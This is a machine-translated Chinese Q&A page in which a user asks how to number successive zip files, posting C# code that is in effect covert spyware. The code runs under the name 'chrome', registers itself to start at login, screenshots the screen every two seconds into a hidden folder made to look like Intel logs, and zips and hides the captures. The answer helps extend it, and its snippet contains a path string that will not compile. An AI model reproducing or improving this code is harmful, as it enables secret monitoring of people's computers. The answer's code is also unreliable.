如何编码我的程序来为目录中的每个新文件创建新文件名?

罗莎1995

我有一个程序,它每 2 小时从指定的文件夹中取出文件并将它们压缩成一个 zip 文件,然后保存在另一个文件夹中。照原样,代码将创建一个名为“zip”的 zip 文件,但是当它在 2 小时后创建第二个 zip 文件时将无法创建,因为名为“zip”的文件已经存在。我想知道如何制作它,以便代码看到已经有一个名为“zip”的文件,并将新的 zip 文件命名为“zip2”,然后是“zip3”、“zip4”等等。我知道这个函数已经在我之前的代码中用于屏幕截图,但是我没有编写代码的那部分,并且对于如何从那部分中获取它并将其应用于这部分感到非常困惑。 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

非常感谢大家的帮助。如果您有任何问题,请问我澄清。

这是我的代码:

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
using System.IO.Compression;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch (Exception e)
            {
                Console.WriteLine("show1:" + e.Message);
            }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {

                    OnTimedEvent();
                    Thread.Sleep(2000);
                }
                catch (Exception e)
                {
                    Console.WriteLine("show2:" + e.Message);
                }
                //-------------------------

            }
        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
                File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }

            {
                string startPath = @"c:\example\start";
                string zipPath = @"c:\example\result.zip";

                ZipFile.CreateFromDirectory(startPath, zipPath);

                File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
            }
        }
    }
}
新西兰法典

我已经内联修改了您的代码(从上面摘录的底部):

try
        {
            memoryImage.Save(str);
        }
        catch (Exception er)
        {
            Console.WriteLine("Sorry, there was an error: " + er.Message);
        }

        {
            string startPath = @"c:\example\start";
            string zipPath = @"c:\example\result.zip";

// start of directory logic you need to calculate the number of existing files in the directory you are about to put the new zip
  string[] filenames = Directory.GetFiles("path_to_your_directory_of_zip_files");
  int count = filenames.Length;

  if (count > 0)
    zipPath = string.Format("c:\example\result_{0}.zip", count);

//End of new logic 

  // then do your saving using the new filename...
  ZipFile.CreateFromDirectory(startPath, zipPath);

查看上面的代码,您正在使用 Thread.Sleep 等待生成文件。我可以建议您查看FileSystemWatcher类,它会告诉您文件何时到达、被删除或修改等。这将允许您以异步方式做出反应,而不是在指定的时间内阻塞您的线程,这可能会或可能不会足够长事情如你所愿。

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

如何在FileWatcher中更新文件名

来自分类Dev

使用perticular目录中的jenkins为每个EAR文件构建创建新文件夹

来自分类Dev

如何获取每个目录中的最新文件

来自分类Dev

创建包含文件名的新文件并计数每个文件

来自分类Dev

当程序在cshell中循环运行时,如何给新文件名?

来自分类Dev

创建新文件?

来自分类Dev

创建新文件?

来自分类Dev

如何确保如果我关闭程序并再次运行,它将在新目录中创建新文件?

来自分类Dev

Notepad ++新文件名

来自分类Dev

Vim更新文件名

来自分类Dev

为每个实例Python创建新文件

来自分类Dev

目录中的Python最新文件

来自分类Dev

更新文件时如何在载波中保留相同的文件名(在Rails中)

来自分类Dev

循环浏览目录中的文件,计算每个目录中的行数,如果少于500行则复制到新文件名

来自分类Dev

如何在bash中创建一个在其他函数之间插入新文件名的函数?

来自分类Dev

如何别名->“删除”目录中的最新文件?

来自分类Dev

如何使用FileNameFilter列出目录中的最新文件

来自分类Dev

如何在Java中获取目录的最新文件

来自分类Dev

如何从目录中获取最新文件?

来自分类Dev

如何使用FileNameFilter列出目录中的最新文件

来自分类Dev

如何从目录中查找最新文件

来自分类Dev

如何使新文件继承macOS中父目录的权限?

来自分类Dev

如何使用Python在目录中查找最新文件

来自分类Dev

我可以在emacs中创建新文件时创建不存在的目录吗?

来自分类Dev

如何从范围创建新文件

来自分类Dev

在jar中创建新文件?

来自分类Dev

展平目录,但在新文件名中保留目录名

来自分类Dev

如何在当前工作目录中为 atom 包创建一个新文件?

来自分类Dev

为什么我不能在工作目录中创建一个新文件?

Related 相关文章

  1. 1

    如何在FileWatcher中更新文件名

  2. 2

    使用perticular目录中的jenkins为每个EAR文件构建创建新文件夹

  3. 3

    如何获取每个目录中的最新文件

  4. 4

    创建包含文件名的新文件并计数每个文件

  5. 5

    当程序在cshell中循环运行时,如何给新文件名?

  6. 6

    创建新文件?

  7. 7

    创建新文件?

  8. 8

    如何确保如果我关闭程序并再次运行,它将在新目录中创建新文件?

  9. 9

    Notepad ++新文件名

  10. 10

    Vim更新文件名

  11. 11

    为每个实例Python创建新文件

  12. 12

    目录中的Python最新文件

  13. 13

    更新文件时如何在载波中保留相同的文件名(在Rails中)

  14. 14

    循环浏览目录中的文件,计算每个目录中的行数,如果少于500行则复制到新文件名

  15. 15

    如何在bash中创建一个在其他函数之间插入新文件名的函数?

  16. 16

    如何别名->“删除”目录中的最新文件?

  17. 17

    如何使用FileNameFilter列出目录中的最新文件

  18. 18

    如何在Java中获取目录的最新文件

  19. 19

    如何从目录中获取最新文件?

  20. 20

    如何使用FileNameFilter列出目录中的最新文件

  21. 21

    如何从目录中查找最新文件

  22. 22

    如何使新文件继承macOS中父目录的权限?

  23. 23

    如何使用Python在目录中查找最新文件

  24. 24

    我可以在emacs中创建新文件时创建不存在的目录吗?

  25. 25

    如何从范围创建新文件

  26. 26

    在jar中创建新文件?

  27. 27

    展平目录,但在新文件名中保留目录名

  28. 28

    如何在当前工作目录中为 atom 包创建一个新文件?

  29. 29

    为什么我不能在工作目录中创建一个新文件?

热门标签

归档